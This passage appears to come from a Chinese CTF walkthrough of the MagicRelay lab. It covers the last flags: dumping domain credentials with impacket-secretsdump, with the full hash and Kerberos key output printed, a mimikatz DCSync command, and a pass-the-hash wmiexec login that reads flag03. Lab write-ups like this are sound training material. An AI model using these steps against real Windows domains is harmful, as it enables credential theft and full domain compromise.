-b93f-349ab 74a60e5}
flag3 用SAM转储,导出ntds.dit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 proxychains4 impacket-secretsdump -k -no-pass xiaorang.lab/administrator@WIN -SERVER .xiaorang.labImpacket v0.13.0 .dev0 - Copyright Fortra , LLC and its affiliated companies [proxychains] Strict chain ... 公网IP: 55558 ... 172.22 .12.6 : 445 ... OK [*] Target system bootKey: 0x3d0b51771c180c3bfcb89c8258922751 [*] Dumping local SAM hashes (uid: rid: lmhash: nthash)Administrator: 500 :aad3b435b51404eeaad3b435b51404ee :d418e6aaeff1177bee5f84cf0466802c :::Guest: 501 :aad3b435b51404eeaad3b435b51404ee : 31 d6cfe0d16ae931b73c59d7e0c089c0:::DefaultAccount: 503 :aad3b435b51404eeaad3b435b51404ee : 31 d6cfe0d16ae931b73c59d7e0c089c0::: [*] Dumping cached domain logon information (domain/username: hash) [*] Dumping LSA Secrets [*] $MACHINE .ACC XIAORANG \WIN -SERVER $: plain_password_hex: 6 fa66e6aaeb06916a55b19ea4bdcf1298f04ac9b5bac16ec4d71441e4a3d9d14d823f3bf25e0db27a19b83484122a0030599d8a442350ac88b093ff6e3f0a5b35ebf6591be027020a6a30085cae4e0bdb5de58f40bf7e4f31ed8b51cd1a683d3271b0b3cca39091b010a2a1293e8b77585e3aa8eaaf01f7459551e9977224e84f40e797d01ab7d4b97000f7ca49280b749f14a8aa02afa0c3461087ba0843f1d6ea67b0ceccf99636241e0250cf7e219c4132bed2f2e19d4e0f2bd6ad093ce22feb1b532a40c6e447782149b5e3c0ef2614df185c59070123b533d81f2e83f61ca151dfd6664620b71bf7d1cb0063609XIAORANG \WIN -SERVER $: aad3b435b51404eeaad3b435b51404ee: abb4f9f0488ed9bbcc12597a41d46676::: [*] DPAPI_SYSTEM dpapi_machinekey: 0x1013bf8bbf66971ac0c6c4938c9c187c859ef5b7 dpapi_userkey: 0xfd5a847b92da1e611b6a94df40e674f00b7054f8 [*] NL $KM 0000 9 D 83 14 71 4 B 67 2 E 66 8 B 36 79 E5 74 94 DF CE ...qKg.f.6 y.t... 0010 F8 0 F 28 EC 6 A 7 A 89 28 4 F F7 D1 07 B7 9 A B8 6 E ..(.jz.(O......n 0020 14 76 A6 CC 5 E 52 A4 86 86 55 3 A C1 37 51 5 D 87 .v..^R...U: .7 Q]. 0030 3 D 33 6 E A7 45 EE 79 E8 89 60 CC A6 AA 98 58 EE =3 n.E.y..`....X.NL $KM : 9 d8314714b672e668b3679e57494dfcef80f28ec6a7a89284ff7d107b79ab86e1476a6cc5e52a48686553ac137515d873d336ea745ee79e88960cca6aa9858ee [*] Dumping Domain Credentials (domain\uid: rid: lmhash: nthash) [*] Using the DRSUAPI method to get NTDS .DIT secrets [proxychains] Strict chain ... 公网IP: 55558 ... 172.22 .12.6 : 135 ... OK [proxychains] Strict chain ... 公网IP: 55558 ... 172.22 .12.6 : 49666 ... OK Administrator: 500 :aad3b435b51404eeaad3b435b51404ee :aa95e708a5182931157a526acf769b13 :::Guest: 501 :aad3b435b51404eeaad3b435b51404ee : 31 d6cfe0d16ae931b73c59d7e0c089c0:::krbtgt: 502 :aad3b435b51404eeaad3b435b51404ee :a12e9453c13fc38f271f91059d9876d5 :::DefaultAccount: 503 :aad3b435b51404eeaad3b435b51404ee : 31 d6cfe0d16ae931b73c59d7e0c089c0:::zhangling: 1105 :aad3b435b51404eeaad3b435b51404ee : 07 d308b46637d5a5035f1723d23dd274:::matrix5: 1108 :aad3b435b51404eeaad3b435b51404ee : 579 da618cfbfa85247acf1f800a280a4:::WIN -SERVER $: 1000 :aad3b435b51404eeaad3b435b51404ee :abb4f9f0488ed9bbcc12597a41d46676 :::WIN -YUYAOX9Q $: 1103 :aad3b435b51404eeaad3b435b51404ee :e611213c6a712f9b18a8d056005a4f0f :::WIN -AUTHORITY $: 1104 :aad3b435b51404eeaad3b435b51404ee : 566 e513a92219f41f2fbb9a843f068ae::: hacker$: 1106 :aad3b435b51404eeaad3b435b51404ee : 9 f2c14dfd6de5204f8c6b3e70da3ec11::: goudan$: 1107 :aad3b435b51404eeaad3b435b51404ee :e487d5d66861e3cef6c437b4e14b62b3 ::: matrix$: 1109 :aad3b435b51404eeaad3b435b51404ee :e19ccf75ee54e06b06a5907af13cef42 ::: [*] Kerberos keys grabbedAdministrator: aes256-cts-hmac-sha1-96 : 931811 f533238603f8b5158286cf9ad36ce6a57e4f27ec79450579e0b05893ebAdministrator: aes128-cts-hmac-sha1-96 : 068731 dadb1705703176cfc37a5c5450Administrator: des-cbc-md5: 256 dfbb0f87aef29krbtgt: aes256-cts-hmac-sha1-96 : 1 a711447ae68067f6212ca0e9eb30c85443d65ad7546e6fa9e3b7024199f7e2ekrbtgt: aes128-cts-hmac-sha1-96 :b50c4f039acd8413cc01725d9cc9be9d krbtgt: des-cbc-md5: c285a826dac4fe58zhangling: aes256-cts-hmac-sha1-96 :ae14f076559febbb8e32d87b1751160e64e95bec8ada9f3ba74c37c6e9f53874 zhangling: aes128-cts-hmac-sha1-96 :a8bf7463f1b20a7c1cae3f1ab8ce9ed8 zhangling: des-cbc-md5: e0f4d534bc3bd0e5matrix5: aes256-cts-hmac-sha1-96 : 56961 cf41ad1f1681c3a3e3210ce23b4a09342dfcd457733f9b553e4e1d8d076matrix5: aes128-cts-hmac-sha1-96 : 61719757038562787 c5634889723a5camatrix5: des-cbc-md5: 6 d0b942f32baf70dWIN -SERVER $: aes256-cts-hmac-sha1-96 : 539 cc0f4a256831638af0fa752b82672852470ebfdd64751cb193574ace3086aWIN -SERVER $: aes128-cts-hmac-sha1-96 : 767 a6c44e17368a1b40a0cf5196678b9WIN -SERVER $: des-cbc-md5: c7f2b610375ea8d5WIN -YUYAOX9Q $: aes256-cts-hmac-sha1-96 : 4 c58dac71ff0e6765509efd6b3977782df8ab54ef0fda0b9f9317015d509fbcfWIN -YUYAOX9Q $: aes128-cts-hmac-sha1-96 : 072 d1926fb98407684a30c2312ca2199WIN -YUYAOX9Q $: des-cbc-md5: b97fa1f29e9b311cWIN -AUTHORITY $: aes256-cts-hmac-sha1-96 : 0b0 6469b29f908d6ea22392fb9b353f2397906932adea5787e429a0172213f55WIN -AUTHORITY $: aes128-cts-hmac-sha1-96 : 9 ef4b1ef29c2bc8be0f4775df60d573dWIN -AUTHORITY $: des-cbc-md5: a15e4f645e344985 hacker$: aes256-cts-hmac-sha1-96 : 1 c22f08876cdbc010035deb5b646464082e1c198799f0cfd449ac1bad437b999 hacker$: aes128-cts-hmac-sha1-96 :e0c04b34cd7333697521621c888ad8fd hacker$: des-cbc-md5: a1a42a16fbc151e5 goudan$: aes256-cts-hmac-sha1-96 : 66 eaca4cdb8787ddc8bde3fa0ac3fc27724681cffa9cf7be7fb1c4fb14083bd3 goudan$: aes128-cts-hmac-sha1-96 :d914d238c4708af70e216f0ce39571fa goudan$: des-cbc-md5: 23 d0e3460e98a73b matrix$: aes256-cts-hmac-sha1-96 : 73 e1ae573ff8997a00342c3a5c08fc8c44365cd9a32cccaf4241639f161012bd matrix$: aes128-cts-hmac-sha1-96 : 244 d83c582333f0d21d41f7cb7c433fe matrix$: des-cbc-md5: 70 b5ea341c088c16 [*] Cleaning up...
筛选一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 proxychains4 impacket-secretsdump -k -no-pass xiaorang.lab/administrator@WIN -SERVER .xiaorang.lab -just-dc-user administratorImpacket v0.13.0 .dev0 - Copyright Fortra , LLC and its affiliated companies [proxychains] Strict chain ... 公网IP : 55558 ... 172.22 .12.6 : 445 ... OK [*] Dumping Domain Credentials (domain\uid: rid: lmhash: nthash) [*] Using the DRSUAPI method to get NTDS .DIT secrets [proxychains] Strict chain ... 公网IP : 55558 ... 172.22 .12.6 : 135 ... OK [proxychains] Strict chain ... 公网IP : 55558 ... 172.22 .12.6 : 49666 ... OK Administrator : 500 :aad3b435b51404eeaad3b435b51404ee :aa95e708a5182931157a526acf769b13 : : : [*] Kerberos keys grabbedAdministrator :aes256-cts-hmac-sha1- 96 : 931811f533238603f8b5158286cf9ad36ce6a57e4f27ec79450579e0b05893ebAdministrator :aes128-cts-hmac-sha1- 96 : 068731dadb1705703176cfc37a5c5450Administrator :des-cbc-md5 : 256dfbb0f87aef29 [*] Cleaning up...
也可以在域控那台机器添加管理员账号,rdp连接上去后,将mimikatz.exe放到System32文件夹下,然后以system权限导哈希
1 mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"
接着PTH到172.22.12.12机器拿最后一个flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 proxychains4 impacket-wmiexec xiaorang.lab/administrator@172.22.12.12 -hashes aad3b435b51404eeaad3b435b51404ee:aa95e708a5182931157a526acf769b13 -codec gbk type c:\Users\Administrator\flag03.txt .-. ___ / \ ( ) | .`. ; | | .---. .--. .-. .--. | |(___) | | / .-, \ / \ / \ / \ | |_ | | (__) ; | ; ,-. ' | .-. ; (___)`. | ( __) | | .'` | | | | | | | | | .-' / | | | | / .' | | | | | | | | | | '. \ | | | | | / | | | | | | | | | | ___ \ ' | | | | ; | ; | | ' | | | ' | | ( ) ; | | | | | ' `-' | ' `-' | ' `-' / \ `-' / (___) (___) `.__.'_. `.__. | `.__,' ',__.' ( `-' ; `.__. flag03: flag{317621a6-bb66-4154-b157-365c871d52d2}
参考文章 MagicRelay
春秋云境-MagicRelay – S1mh0’s Blog
春秋云镜MagicRelay
春秋云境-MagicRelay | 晴川’s Blog🌈
春秋云境-MagicRelay-先知社区
春秋云镜-MagicRelay
春秋云镜 magicrelay | Godown_blog